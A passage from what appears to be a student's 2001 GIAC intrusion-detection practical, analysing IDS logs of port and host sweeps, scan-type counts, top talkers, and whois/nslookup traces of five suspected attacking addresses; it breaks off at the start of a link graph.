oos_Dec.22.2001:12/22-02:50:30.520543 210.125.178.52:42006 ->
MY.NET.163.15:17
oos_Dec.22.2001:12/22-02:50:37.521957 210.125.178.52:42007 ->
MY.NET.163.15:18
oos_Dec.22.2001:12/22-02:50:47.650312 210.125.178.52:42009 ->
MY.NET.163.15:19
oos_Dec.22.2001:12/22-02:50:51.611475 210.125.178.52:42010 ->
MY.NET.163.15:20
oos_Dec.22.2001:12/22-02:50:54.600603 210.125.178.52:42010 ->
MY.NET.163.15:20
oos_Dec.22.2001:12/22-02:50:58.592290 210.125.178.52:42011 ->
MY.NET.163.15:21
oos_Dec.22.2001:12/22-02:51:08.544033 210.125.178.52:42012 ->
MY.NET.163.15:22
oos_Dec.22.2001:12/22-02:51:15.539259 210.125.178.52:42013 ->
MY.NET.163.15:23
oos_Dec.22.2001:12/22-02:51:26.536084 210.125.178.52:42015 ->
MY.NET.163.15:25
oos_Dec.22.2001:12/22-02:51:29.543665 210.125.178.52:42015 ->
MY.NET.163.15:25
oos_Dec.22.2001:12/22-02:51:36.551065 210.125.178.52:42016 ->
MY.NET.163.15:26
oos_Dec.22.2001:12/22-02:52:01.679444 210.125.178.52:42020 ->
MY.NET.163.15:30
oos_Dec.22.2001:12/22-02:52:04.653804 210.125.178.52:42020 ->
MY.NET.163.15:30
oos_Dec.22.2001:12/22-02:52:15.611541 210.125.178.52:42022 ->
MY.NET.163.15:32
oos_Dec.22.2001:12/22-02:52:22.542541 210.125.178.52:42023 ->
MY.NET.163.15:33
oos_Dec.22.2001:12/22-02:52:36.560464 210.125.178.52:42025 ->
MY.NET.163.15:35
```

```
oos_Dec.22.2001:12/22-02:52:43.556225 210.125.178.52:42026 ->
MY.NET.163.15:36
oos_Dec.22.2001:12/22-02:52:50.557897 210.125.178.52:42027 ->
MY.NET.163.15:37
oos_Dec.22.2001:12/22-02:52:53.548870 210.125.178.52:42027 ->
MY.NET.163.15:37
oos_Dec.22.2001:12/22-02:52:57.525330 210.125.178.52:42028 ->
MY.NET.163.15:38
oos_Dec.22.2001:12/22-02:53:00.565059 210.125.178.52:42028 ->
MY.NET.163.15:38
oos_Dec.22.2001:12/22-02:53:04.514297 210.125.178.52:42029 ->
MY.NET.163.15:39
oos_Dec.22.2001:12/22-02:53:14.533213 210.125.178.52:42030 ->
MY.NET.163.15:40
oos_Dec.22.2001:12/22-02:53:25.553592 210.125.178.52:42032 ->
MY.NET.163.15:42
oos_Dec.22.2001:12/22-02:53:49.638770 210.125.178.52:42035 ->
MY.NET.163.15:45
oos_Dec.22.2001:12/22-02:54:10.582273 210.125.178.52:42038 ->
MY.NET.163.15:48
oos_Dec.22.2001:12/22-02:54:17.598315 210.125.178.52:42039 ->
MY.NET.163.15:49
oos_Dec.22.2001:12/22-02:54:21.537842 210.125.178.52:42040 ->
MY.NET.163.15:50
oos_Dec.22.2001:12/22-02:54:24.578809 210.125.178.52:42040 ->
MY.NET.163.15:50
oos_Dec.22.2001:12/22-02:54:31.599615 210.125.178.52:42041 ->
MY.NET.163.15:51
oos_Dec.22.2001:12/22-02:54:45.677349 210.125.178.52:42044 ->
MY.NET.163.15:53
oos_Dec.22.2001:12/22-02:54:49.697652 210.125.178.52:42046 ->
MY.NET.163.15:54
oos_Dec.22.2001:12/22-02:54:56.737741 210.125.178.52:42048 ->
MY.NET.163.15:55
oos_Dec.22.2001:12/22-02:55:03.767600 210.125.178.52:42049 ->
MY.NET.163.15:56
oos_Dec.22.2001:12/22-02:55:06.763121 210.125.178.52:42049 ->
MY.NET.163.15:56
oos_Dec.22.2001:12/22-02:55:10.758675 210.125.178.52:42050 ->
MY.NET.163.15:57
oos_Dec.22.2001:12/22-02:55:13.733049 210.125.178.52:42050 ->
MY.NET.163.15:57
oos_Dec.22.2001:12/22-02:55:17.737674 210.125.178.52:42051 ->
MY.NET.163.15:58
oos_Dec.22.2001:12/22-02:55:24.677977 210.125.178.52:42052 ->
MY.NET.163.15:59
oos_Dec.22.2001:12/22-02:55:27.715517 210.125.178.52:42052 ->
MY.NET.163.15:59
oos_Dec.22.2001:12/22-02:55:31.776884 210.125.178.52:42054 ->
MY.NET.163.15:60
oos_Dec.22.2001:12/22-02:55:34.694893 210.125.178.52:42054 ->
MY.NET.163.15:60
```

```
oos_Dec.22.2001:12/22-02:55:41.618910 210.125.178.52:42055 ->
MY.NET.163.15:61
oos_Dec.22.2001:12/22-02:55:59.636781 210.125.178.52:42058 ->
MY.NET.163.15:64
oos_Dec.22.2001:12/22-02:56:02.636974 210.125.178.52:42058 ->
MY.NET.163.15:64
oos_Dec.22.2001:12/22-02:56:06.625512 210.125.178.52:42059 ->
MY.NET.163.15:65
oos_Dec.22.2001:12/22-02:56:09.675544 210.125.178.52:42059 ->
MY.NET.163.15:65
oos_Dec.22.2001:12/22-02:56:23.591326 210.125.178.52:42061 ->
MY.NET.163.15:67
oos_Dec.22.2001:12/22-02:56:27.602956 210.125.178.52:42062 ->
MY.NET.163.15:68
oos_Dec.22.2001:12/22-02:56:30.666409 210.125.178.52:42062 ->
MY.NET.163.15:68
oos_Dec.22.2001:12/22-02:56:41.711294 210.125.178.52:42064 ->
MY.NET.163.15:70
oos_Dec.22.2001:12/22-02:56:48.714172 210.125.178.52:42065 ->
MY.NET.163.15:71
oos_Dec.22.2001:12/22-02:56:55.691948 210.125.178.52:42066 ->
MY.NET.163.15:72
oos_Dec.22.2001:12/22-02:57:12.612124 210.125.178.52:42068 ->
MY.NET.163.15:74
oos_Dec.22.2001:12/22-02:57:23.659403 210.125.178.52:42072 ->
MY.NET.163.15:76
oos_Dec.22.2001:12/22-02:57:37.627497 210.125.178.52:42074 ->
MY.NET.163.15:78
oos_Dec.22.2001:12/22-02:57:40.643835 210.125.178.52:42074 ->
MY.NET.163.15:78
oos_Dec.22.2001:12/22-02:57:44.601397 210.125.178.52:42075 ->
MY.NET.163.15:79
oos_Dec.22.2001:12/22-02:57:47.579014 210.125.178.52:42075 ->
MY.NET.163.15:79
oos_Dec.22.2001:12/22-02:57:54.843082 210.125.178.52:42077 ->
MY.NET.163.15:81
oos_Dec.22.2001:12/22-02:58:05.824339 210.125.178.52:42079 ->
MY.NET.163.15:83
oos_Dec.22.2001:12/22-02:58:08.827730 210.125.178.52:42079 ->
MY.NET.163.15:83
oos_Dec.22.2001:12/22-02:58:12.825792 210.125.178.52:42080 ->
MY.NET.163.15:84
oos_Dec.22.2001:12/22-02:58:26.835726 210.125.178.52:42082 ->
MY.NET.163.15:86
oos_Dec.22.2001:12/22-02:58:29.825790 210.125.178.52:42082 ->
MY.NET.163.15:86
oos_Dec.22.2001:12/22-02:58:33.854760 210.125.178.52:42083 ->
MY.NET.163.15:87
oos_Dec.22.2001:12/22-02:58:54.848750 210.125.178.52:42087 ->
MY.NET.163.15:90
oos_Dec.22.2001:12/22-02:59:04.929724 210.125.178.52:42088 ->
MY.NET.163.15:91
```

```
oos_Dec.22.2001:12/22-02:59:15.918260 210.125.178.52:42090 ->
MY.NET.163.15:93
oos_Dec.22.2001:12/22-02:59:25.964304 210.125.178.52:42091 ->
MY.NET.163.15:94
oos_Dec.22.2001:12/22-02:59:29.954950 210.125.178.52:42093 ->
MY.NET.163.15:95
oos_Dec.22.2001:12/22-02:59:36.945397 210.125.178.52:42094 ->
MY.NET.163.15:96
oos_Dec.22.2001:12/22-02:59:43.990257 210.125.178.52:42096 ->
MY.NET.163.15:97
oos_Dec.22.2001:12/22-02:59:46.929346 210.125.178.52:42096 ->
MY.NET.163.15:97
oos_Dec.22.2001:12/22-02:59:50.872845 210.125.178.52:42097 ->
MY.NET.163.15:98
oos_Dec.22.2001:12/22-02:59:53.854091 210.125.178.52:42097 ->
MY.NET.163.15:98
oos_Dec.22.2001:12/22-03:00:04.840785 210.125.178.52:42099 ->
MY.NET.163.15:100
oos_Dec.22.2001:12/22-03:00:07.867290 210.125.178.52:42099 ->
MY.NET.163.15:100
oos_Dec.22.2001:12/22-03:00:11.847678 210.125.178.52:42100 ->
MY.NET.163.15:101
oos_Dec.22.2001:12/22-03:00:14.882331 210.125.178.52:42100 ->
MY.NET.163.15:101
oos_Dec.22.2001:12/22-03:00:18.856715 210.125.178.52:42101 ->
MY.NET.163.15:102
oos_Dec.22.2001:12/22-03:00:21.869797 210.125.178.52:42101 ->
MY.NET.163.15:102
oos_Dec.22.2001:12/22-03:00:25.866914 210.125.178.52:42102 ->
MY.NET.163.15:103
oos_Dec.22.2001:12/22-03:00:28.848818 210.125.178.52:42102 ->
MY.NET.163.15:103
oos_Dec.22.2001:12/22-03:00:32.885720 210.125.178.52:42103 ->
MY.NET.163.15:104
oos_Dec.22.2001:12/22-03:00:35.949339 210.125.178.52:42103 ->
MY.NET.163.15:104
oos_Dec.22.2001:12/22-03:00:49.967427 210.125.178.52:42105 ->
MY.NET.163.15:106
oos_Dec.22.2001:12/22-03:01:03.898580 210.125.178.52:42107 ->
MY.NET.163.15:108
oos_Dec.22.2001:12/22-03:01:10.870639 210.125.178.52:42108 ->
MY.NET.163.15:109
oos_Dec.22.2001:12/22-03:01:14.869284 210.125.178.52:42109 ->
MY.NET.163.15:110
oos_Dec.22.2001:12/22-03:01:31.873060 210.125.178.52:42113 ->
MY.NET.163.15:112
oos_Dec.22.2001:12/22-03:01:38.872497 210.125.178.52:42114 ->
MY.NET.163.15:113
oos_Dec.22.2001:12/22-03:01:42.883561 210.125.178.52:42115 ->
MY.NET.163.15:114
oos_Dec.22.2001:12/22-03:01:45.874335 210.125.178.52:42115 ->
MY.NET.163.15:114
```

```
oos_Dec.22.2001:12/22-03:01:49.839315 210.125.178.52:42116 ->
MY.NET.163.15:115
oos_Dec.22.2001:12/22-03:01:59.860331 210.125.178.52:42117 ->
MY.NET.163.15:116
oos_Dec.22.2001:12/22-03:02:03.869948 210.125.178.52:42118 ->
MY.NET.163.15:117
oos_Dec.22.2001:12/22-03:02:06.881569 210.125.178.52:42118 ->
MY.NET.163.15:117
oos_Dec.22.2001:12/22-03:02:13.882650 210.125.178.52:42119 ->
MY.NET.163.15:118
oos_Dec.22.2001:12/22-03:02:24.885819 210.125.178.52:42121 ->
MY.NET.163.15:120
oos_Dec.22.2001:12/22-03:02:34.884888 210.125.178.52:42122 ->
MY.NET.163.15:121
oos_Dec.22.2001:12/22-03:02:38.862897 210.125.178.52:42123 ->
MY.NET.163.15:122
oos_Dec.22.2001:12/22-03:02:45.889291 210.125.178.52:42124 ->
MY.NET.163.15:123
oos_Dec.22.2001:12/22-03:02:48.849826 210.125.178.52:42124 ->
MY.NET.163.15:123
oos_Dec.22.2001:12/22-03:02:52.855688 210.125.178.52:42125 ->
MY.NET.163.15:124
oos_Dec.22.2001:12/22-03:03:06.858270 210.125.178.52:42127 ->
MY.NET.163.15:126
oos_Dec.22.2001:12/22-03:03:09.889128 210.125.178.52:42127 ->
MY.NET.163.15:126
oos_Dec.22.2001:12/22-03:03:13.911774 210.125.178.52:42128 ->
MY.NET.163.15:127
oos_Dec.22.2001:12/22-03:03:44.894365 210.125.178.52:42133 ->
MY.NET.163.15:131
oos_Dec.22.2001:12/22-03:03:58.877474 210.125.178.52:42135 ->
MY.NET.163.15:133
oos_Dec.22.2001:12/22-03:04:09.968130 210.125.178.52:42137 ->
MY.NET.163.15:135
oos_Dec.22.2001:12/22-03:04:20.100917 210.125.178.52:42138 ->
MY.NET.163.15:136
oos_Dec.22.2001:12/22-03:04:26.982422 210.125.178.52:42139 ->
MY.NET.163.15:137
oos_Dec.22.2001:12/22-03:04:30.987303 210.125.178.52:42140 ->
MY.NET.163.15:138
oos_Dec.22.2001:12/22-03:04:54.912418 210.125.178.52:42143 ->
MY.NET.163.15:141
oos_Dec.22.2001:12/22-03:05:01.961676 210.125.178.52:42144 ->
MY.NET.163.15:142
oos_Dec.22.2001:12/22-03:05:05.971991 210.125.178.52:42145 ->
MY.NET.163.15:143
oos_Dec.22.2001:12/22-03:05:12.930505 210.125.178.52:42146 ->
MY.NET.163.15:144
oos_Dec.22.2001:12/22-03:05:19.918696 210.125.178.52:42147 ->
MY.NET.163.15:145
oos_Dec.22.2001:12/22-03:05:22.915113 210.125.178.52:42147 ->
MY.NET.163.15:145
```

```
oos_Dec.22.2001:12/22-03:05:26.936825 210.125.178.52:42148 ->
MY.NET.163.15:146
oos_Dec.22.2001:12/22-03:05:29.935945 210.125.178.52:42148 ->
MY.NET.163.15:146
oos_Dec.22.2001:12/22-03:05:33.907949 210.125.178.52:42149 ->
MY.NET.163.15:147
oos_Dec.22.2001:12/22-03:05:43.938011 210.125.178.52:42150 ->
MY.NET.163.15:148
oos_Dec.22.2001:12/22-03:05:54.938820 210.125.178.52:42152 ->
MY.NET.163.15:150
oos_Dec.22.2001:12/22-03:06:04.992611 210.125.178.52:42153 ->
MY.NET.163.15:151
oos_Dec.22.2001:12/22-03:06:11.906249 210.125.178.52:42154 ->
MY.NET.163.15:152
oos_Dec.22.2001:12/22-03:06:18.913173 210.125.178.52:42155 ->
MY.NET.163.15:153
oos_Dec.22.2001:12/22-03:06:22.923174 210.125.178.52:42156 ->
MY.NET.163.15:154
oos_Dec.22.2001:12/22-03:06:29.929610 210.125.178.52:42157 ->
MY.NET.163.15:155
oos_Dec.22.2001:12/22-03:06:32.949538 210.125.178.52:42157 ->
MY.NET.163.15:155
oos_Dec.22.2001:12/22-03:06:36.928630 210.125.178.52:42158 ->
MY.NET.163.15:156
oos_Dec.22.2001:12/22-03:06:43.925525 210.125.178.52:42159 ->
MY.NET.163.15:157
oos_Dec.22.2001:12/22-03:06:46.916489 210.125.178.52:42159 ->
MY.NET.163.15:157
oos_Dec.22.2001:12/22-03:07:04.933947 210.125.178.52:42162 ->
MY.NET.163.15:160
oos_Dec.22.2001:12/22-03:07:18.919232 210.125.178.52:42164 ->
MY.NET.163.15:162
oos_Dec.22.2001:12/22-03:07:49.953689 210.125.178.52:42168 ->
MY.NET.163.15:166
oos_Dec.22.2001:12/22-03:07:56.963705 210.125.178.52:42169 ->
MY.NET.163.15:167
oos_Dec.22.2001:12/22-03:08:03.947245 210.125.178.52:42170 ->
MY.NET.163.15:168
oos_Dec.22.2001:12/22-03:08:07.949036 210.125.178.52:42171 ->
MY.NET.163.15:169
oos_Dec.22.2001:12/22-03:08:14.927161 210.125.178.52:42172 ->
MY.NET.163.15:170
oos_Dec.22.2001:12/22-03:08:17.924615 210.125.178.52:42172 ->
MY.NET.163.15:170
oos_Dec.22.2001:12/22-03:08:21.926015 210.125.178.52:42173 ->
MY.NET.163.15:171
oos_Dec.22.2001:12/22-03:08:28.954180 210.125.178.52:42174 ->
MY.NET.163.15:172
oos_Dec.22.2001:12/22-03:08:35.953528 210.125.178.52:42175 ->
MY.NET.163.15:173
oos_Dec.22.2001:12/22-03:08:52.933371 210.125.178.52:42177 ->
MY.NET.163.15:175
```

```
oos_Dec.22.2001:12/22-03:09:13.960836 210.125.178.52:42180 ->
MY.NET.163.15:178
oos_Dec.22.2001:12/22-03:09:20.967884 210.125.178.52:42181 ->
MY.NET.163.15:179
oos_Dec.22.2001:12/22-03:09:31.975979 210.125.178.52:42183 ->
MY.NET.163.15:181
oos_Dec.22.2001:12/22-03:09:41.976825 210.125.178.52:42184 ->
MY.NET.163.15:182
oos_Dec.22.2001:12/22-03:09:46.019838 210.125.178.52:42185 ->
MY.NET.163.15:183
```

Packets Description

7831 Connections from MY.NET.1.2:22 through MY.NET.254.254:22 appears to be a massive SinFin scan to map live hosts in our network. Static Source ports, Static Destination ports, Null data, SF Ack, static window size of 0x404, Increasing IP address over time.

```
12/25-21:50:46.405655 24.0.28.234:22 -> MY.NET.1.2:22
12/25-21:50:46.415952 24.0.28.234:22 -> MY.NET.1.3:22
12/25-21:50:46.521709 24.0.28.234:22 -> MY.NET.1.8:22
12/25-21:50:46.526144 24.0.28.234:22 -> MY.NET.1.9:22
12/25-21:50:46.568282 24.0.28.234:22 -> MY.NET.1.12:22
12/25-21:50:46.765077 24.0.28.234:22 -> MY.NET.1.20:22
12/25-21:50:46.769902 24.0.28.234:22 -> MY.NET.1.21:22
12/25-21:50:46.907141 24.0.28.234:22 -> MY.NET.1.27:22
12/25-21:50:46.936960 24.0.28.234:22 -> MY.NET.1.29:22
12/25-21:50:47.127930 24.0.28.234:22 -> MY.NET.1.38:22
12/25-21:50:47.240332 24.0.28.234:22 -> MY.NET.1.44:22
.
.
.
12/25-22:12:21.365012 24.0.28.234:22 -> MY.NET.254.223:22
12/25-22:12:21.407068 24.0.28.234:22 -> MY.NET.254.225:22
12/25-22:12:21.445051 24.0.28.234:22 -> MY.NET.254.227:22
12/25-22:12:21.524290 24.0.28.234:22 -> MY.NET.254.229:22
12/25-22:12:21.585201 24.0.28.234:22 -> MY.NET.254.233:22
12/25-22:12:21.594792 24.0.28.234:22 -> MY.NET.254.234:22
12/25-22:12:21.649685 24.0.28.234:22 -> MY.NET.254.237:22
12/25-22:12:21.706477 24.0.28.234:22 -> MY.NET.254.240:22
12/25-22:12:21.744874 24.0.28.234:22 -> MY.NET.254.242:22
12/25-22:12:21.789940 24.0.28.234:22 -> MY.NET.254.244:22
12/25-22:12:22.015434 24.0.28.234:22 -> MY.NET.254.254:22
```

Packets Description

30 There appears to be a web server running on ports 21536, 21332 for MY.NET.253.114 and MY.NET.11.4 respectively. Although this is an unusually high port for a web server, it is not clear if this is a problem or not. Whatever the intent, the same packets are sent over and over again, as if looking for the web server.

```
oos_Dec.22.2001:12/22-01:48:26.418312 65.129.38.2:18245 ->
MY.NET.253.114:21536
oos_Dec.22.2001:12/22-09:40:28.549128 65.129.33.89:18245 ->
MY.NET.253.114:21536
oos_Dec.22.2001:12/22-11:58:34.413866 65.129.21.105:18245 ->
MY.NET.253.114:21536
oos_Dec.22.2001:12/22-12:48:22.892210 65.129.52.45:18245 ->
MY.NET.253.114:21536
oos_Dec.22.2001:12/22-23:27:57.456183 65.129.48.98:18245 ->
MY.NET.253.114:21536
oos_Dec.23.2001:12/23-11:09:15.974118 65.129.32.4:18245 ->
MY.NET.253.114:21536
oos_Dec.23.2001:12/23-11:51:29.193186 65.129.41.99:18245 ->
MY.NET.253.114:21536
oos_Dec.24.2001:12/24-10:38:20.607721 65.129.57.235:20559 ->
MY.NET.11.4:21332
oos_Dec.24.2001:12/24-13:38:41.570586 65.129.38.118:18245 ->
MY.NET.11.4:21536
oos_Dec.24.2001:12/24-15:04:40.755071 65.129.29.16:18245 ->
MY.NET.253.114:21536
oos_Dec.24.2001:12/24-16:40:40.549022 65.129.31.168:18245 ->
MY.NET.253.114:21536
oos_Dec.24.2001:12/24-18:18:03.315858 65.129.21.34:18245 ->
MY.NET.253.114:21536
oos_Dec.24.2001:12/24-22:26:41.717992 65.129.45.131:27005 ->
MY.NET.99.39:888
oos_Dec.24.2001:12/24-22:29:31.510742 65.129.46.147:18245 ->
MY.NET.253.125:21536
oos_Dec.25.2001:12/25-01:57:49.449545 65.129.57.114:18245 ->
MY.NET.253.114:21536
oos_Dec.25.2001:12/25-11:29:11.306840 65.129.24.90:20559 ->
MY.NET.11.4:21332
oos_Dec.25.2001:12/25-11:29:18.123489 65.129.24.90:18245 ->
MY.NET.11.4:21536
oos_Dec.25.2001:12/25-12:45:48.334746 65.129.16.140:18245 ->
MY.NET.253.114:21536
oos_Dec.25.2001:12/25-19:03:02.069272 65.129.44.128:18245 ->
MY.NET.253.114:21536
```

Packets Description

8 Characteristics: Static source address, Static destination address, Repeating pattern on the packet contents. Very similar to the above detect. Probably related since the source IPs are very close.

```
oos_Dec.22.2001:12/22-20:21:59.477808 65.129.90.72:5635 -> MY.NET.5.29:0
oos_Dec.23.2001:12/23-21:33:16.922314 65.129.18.96:5635 -> MY.NET.253.112:0
oos_Dec.23.2001:12/23-21:33:16.963607 65.129.18.96:5635 -> MY.NET.253.112:0
oos_Dec.24.2001:12/24-02:07:37.200467 65.129.44.239:5635 -> MY.NET.5.29:0
oos_Dec.24.2001:12/24-07:10:38.233135 65.129.36.24:5635 -> MY.NET.253.112:0
oos_Dec.24.2001:12/24-07:11:31.078784 65.129.36.24:5635 -> MY.NET.253.112:0
oos_Dec.24.2001:12/24-17:02:09.343893 65.129.28.234:5635 -> MY.NET.253.112:0
```

```
oos_Dec.24.2001:12/24-19:31:13.745186 65.129.89.13:5635 -> MY.NET.5.29:0

------------------------------------------------------------------------------
Packets Description
12   This looks like a repeated attempt to connect to some service that
doesn't seem to be listening on port 563.
All packets have the SYN flag set (S*****) as well as the same "EOL EOL EOL
EOL"

oos_Dec.24.2001:12/24-00:19:27.665885 141.157.92.22:64755 -> MY.NET.1.6:563
oos_Dec.24.2001:12/24-00:20:21.194315 141.157.92.22:64761 -> MY.NET.1.6:563
oos_Dec.24.2001:12/24-11:10:19.966587 141.157.92.22:61938 -> MY.NET.1.6:563
oos_Dec.24.2001:12/24-11:10:55.469411 141.157.92.22:61939 -> MY.NET.1.6:563
oos_Dec.24.2001:12/24-13:45:37.072058 141.157.92.22:62689 -> MY.NET.1.6:563
oos_Dec.24.2001:12/24-14:58:51.839309 141.157.92.22:63002 -> MY.NET.1.6:563
oos_Dec.24.2001:12/24-16:27:26.249702 141.157.92.22:63685 -> MY.NET.1.6:563
oos_Dec.25.2001:12/25-12:26:45.800044 141.157.92.22:64970 -> MY.NET.1.6:563
oos_Dec.25.2001:12/25-12:27:04.631763 141.157.92.22:64975 -> MY.NET.1.6:563
oos_Dec.25.2001:12/25-14:07:51.830666 141.157.92.22:61461 -> MY.NET.1.6:563
oos_Dec.25.2001:12/25-17:58:15.277891 141.157.92.22:62004 -> MY.NET.1.6:563
oos_Dec.25.2001:12/25-18:01:55.619291 141.157.92.22:62035 -> MY.NET.1.6:563


     Scan Detects Listed by Number of Occurances

399944    UDP
103876    SYN
5004 SYNFIN
692  VECNA
113  NULL
47   NOACK
39   INVALIDACK
28   UNKNOWN
20   FIN
4    NMAPID
1    XMAS
1    FULLXMAS

Scan Descriptions:

Type of Scan   (Sample Flags)
------------   --------------
UDP
SYN       (******S*)
SYNFIN         (12****SF)
VECNA          (****P***)
NULL           (********)
NOACK          (*2U***SF)
INVALIDACK     (1**A**SF)
UNKNOWN        (*2UA****)
FIN       (*******F)
NMAPID         (12U*P*SF)
XMAS           (*2U*P**F)
```

FULLXMAS (**UAPRSF)

E) Top Talkers List

Some less meaningful data was removed from this analysis (alert data only):

traceroute
WEBSERVER
BSDtype
WEB-MISC

I would consider this traffic somewhat normal or benign. The rest of the types of alert detects that were analyzed for the top talkers are the difference
from the 80 listed by occurance.

Top Ten Talkers - Alerts

61327	212.179.35.118
5648	216.106.172.149
5027	24.0.28.234
5026	MY.NET.5.13
4908	206.65.191.129
4668	65.165.14.43
3661	65.207.94.30
3659	MY.NET.60.11
2361	61.219.53.135
1938	MY.NET.87.50

Top Ten Talkers - Scans

331649	MY.NET.87.50
27085	MY.NET.98.203
9876	211.248.231.10
9508	65.165.14.43
7952	210.77.145.30
7680	210.58.102.86
6143	204.152.184.75
5412	24.44.21.206
5072	24.0.28.234
4075	MY.NET.84.185

Top Ten Talkers - Out of Spec

7931	24.0.28.234
167	210.125.178.52
80	199.183.24.194
40	64.172.24.155
15	24.36.185.188
12	141.157.92.22
11	211.39.150.91
9	65.165.238.50

```
7         213.84.157.192
7         202.168.254.178
```

F) Identification of Five External Source Addresses

The following five source addresses were chosen for the lethality of their attacks. These are the kinds of attacks that warrent prosecution and would require identification of the "next hop" for law enforcement to persue. They
are listed below with a brief description of what the attack was:

64.172.24.155 Possible root compromise of MY.NET.70.70 with use of covert channel.
204.152.184.75 Possible root compromise of MY.NET.70.148.
24.4.252.20   Possible root compromise of MY.NET.6.7 with trojan server activity detected on port 27374.
24.120.161.18 Possible root compromise of MY.NET.60.38 with DDOS shaft client to handle activity detected.
24.78.99.154   Possible root compromise of MY.NET.97.160 with DDOS mstream handler to client activity detected. Possibly related to prior address.

64.172.24.155   Possible root compromise of MY.NET.70.70 with use of covert channel.

```
# whois -h whois.arin.net 64.172.24.155
Pac Bell Internet Services (NETBLK-PBI-NET-8) PBI-NET-8
                                                64.160.0.0 -
64.175.255.255
PPPOX POOL - RBACK3 SNTC01 (NETBLK-SBCIS-101227-191152) SBCIS-101227-191152
                                                64.172.24.0 -
64.172.25.255

# whois -h whois.arin.net "NETBLK-SBCIS-101227-191152"
PPPOX POOL - RBACK3 SNTC01 (NETBLK-SBCIS-101227-191152)
   268 Bush St. #5000
   San Francisco, CA 94104
   US

   Netname: SBCIS-101227-191152
   Netblock: 64.172.24.0 - 64.172.25.255

   Coordinator:
      Pacific Bell Internet  (PIA2-ORG-ARIN)  ip-admin@PBI.NET
      888-212-5411

   Record last updated on 28-Feb-2001.
   Database last updated on  28-Jan-2002 19:56:48 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
```

```
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

# nslookup 64.172.24.155
.
.
.
Name:    adsl-64-172-24-155.dsl.sntc01.pacbell.net
Address:  64.172.24.155


---------------------------------------------------------------------
204.152.184.75 Possible root compromise of MY.NET.70.148.

# whois -h whois.arin.net 204.152.184.75
# nslookup 204.152.184.75
---------------------------------------------------------------------
24.4.252.20     Possible root compromise of MY.NET.6.7 with trojan server
activity detected on port 27374.

# whois -h whois.arin.net 24.4.252.20
@Home Network (NETBLK-ATHOME)   ATHOME                  24.0.0.0 -
24.23.255.255
@Home Network (NETBLK-HOME-PROXY-EAST-1) HOME-PROXY-EAST-1
                                                      24.4.252.0 -
24.4.253.255

To single out one record, look it up with "!xxx", where xxx is the
handle, shown in parenthesis following the name, which comes first.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

# whois -h whois.arin.net "NETBLK-HOME-PROXY-EAST-1"
@Home Network (NETBLK-HOME-PROXY-EAST-1)
   425 Broadway
   Redwood City, CA 94063
   US

   Netname: HOME-PROXY-EAST-1
   Netblock: 24.4.252.0 - 24.4.253.255

   Coordinator:
      Operations, Network  (HOME-NOC-ARIN)  noc-abuse@noc.home.net
      (650) 556-5599

   Record last updated on 28-Sep-1998.
   Database last updated on  28-Jan-2002 19:56:48 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
```

```
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

# nslookup 24.4.252.20
.
.
.
Name:    proxy1-external.pg1.md.home.com
Address:  24.4.252.20

---------------------------------------------------------------
24.120.161.18   Possible root compromise of MY.NET.60.38 with DDOS shaft
client to handle activity detected.

# whois -h whois.arin.net 24.120.161.18
Community Cable TV (NETBLK-COX-LV-1)
   121 S. Martin Luther King Bl
   Las Vegas, NV 89106
   US

   Netname: COX-LV-1
   Netblock: 24.120.0.0 - 24.120.255.255
   Maintainer: CCTV

   Coordinator:
      Fountain, John  (JF4071-ARIN)  John.Fountain@cox.com
      702-384-8084x481 (FAX) (702) 383-7048

   Domain System inverse mapping provided by:

   PRIME-BE1.LVCABLEMODEM.COM   24.234.0.5
   NEWS.LVCABLEMODEM.COM        24.234.0.7

   ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

   Record last updated on 06-Dec-2001.
   Database last updated on  28-Jan-2002 19:56:48 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

# nslookup 24.120.161.18
.
.
.
Name:    cm018.161.120.24.lvcm.com
Address:  24.120.161.18

---------------------------------------------------------------
24.78.99.154    Possible root compromise of MY.NET.97.160 with DDOS mstream
handler to client activity detected.  Possibly related to prior address.
```

```
# whois -h whois.arin.net 24.78.99.154
Shaw Fiberlink (aka Shaw@HOME) (NETBLK-FIBERLINK-CABLE-2BLK)
   Suite 800, 630 3rd Avenue SW
   Calgary, Alberta T2P 4L4
   CA

   Netname: FIBERLINK-CABLE-2BLK
   Netblock: 24.76.0.0 - 24.79.255.255
   Maintainer: FBCA

   Coordinator:
      Shaw High-Speed Internet  (ZS178-ARIN)  ipadmin@sjrb.ca
      (403)750-7428

   Domain System inverse mapping provided by:

   NS2SO.CG.SHAWCABLE.NET       24.64.63.212
   NS1SO.CG.SHAWCABLE.NET       24.64.63.195

   ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

   Record last updated on 04-Jan-2002.
   Database last updated on  28-Jan-2002 19:56:48 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

# nslookup 24.78.99.154
.
.
.
Name:    h24-78-99-154.vs.shawcable.net
Address:  24.78.99.154
```

G) Correlations from previous student's practicals/other sources.

I speak about correlations throughout this practical. To summarize, I've correlated my findings with the following student's practicals:

http://www.giac.org/practical/Christof_Voemel_GCIA.txt
http://www.zeltser.com/sans/idic-practical/
http://www.giac.org/practical/Wes_Bateman_GCIA.zip.gz
http://www.giac.org/practical/Chris_Baker_GCIA.zip.gz
http://www.giac.org/practical/Becky_Pinkard_GCIA.zip.gz
http://www.giac.org/practical/Don_Valentino_GCIA.zip.gz
http://www.giac.org/practical/Donald_Pitts_GCIA.zip.gz
http://www.giac.org/practical/Garreth_jeremiah_GCIA.zip.gz

I referenced these mostly to see how other students interpreted the questions as well as to see if there were any correlations

with attack and scan patterns that I was finding.

H) Link Graph

I looked at link graphs of other students and none of them really made any sense, so I will "link" these IPs in a fasion that makes sense:

Alert Data:

```
141.213.11.120      ------ICMP-------------------------> MY.NET.70.148
24.252.66.101       ------FTP anonymous----->
